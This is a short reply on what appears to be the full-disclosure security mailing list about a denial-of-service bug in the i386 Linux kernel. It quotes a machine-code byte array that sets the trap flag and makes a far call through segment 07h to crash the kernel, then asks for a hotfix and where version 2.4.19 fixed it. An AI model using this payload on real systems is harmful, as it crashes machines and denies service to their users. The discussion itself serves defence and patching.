full-disclosure - Re: i386 Linux kernel DoS

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Message-ID: <20021113115846.A20260@neurosis.mit.edu>
From: jim at jtan.com (Jim Paris)
Subject: Re: i386 Linux kernel DoS

>     char dos[] = "\x9C"                           /* pushfd       */
>                  "\x58"                           /* pop eax      */
>                  "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
>                  "\x50"                           /* push eax     */
>                  "\x9D"                           /* popfd        */
>                  "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */

Has anyone come up with a hotfix for this (eg, a kernel module to
temporarily patch the hole)?  Where was this bug fixed in 2.4.19?  The
CHECK_IF_IN_TRAP stuff in handle_vm86_fault?

-jim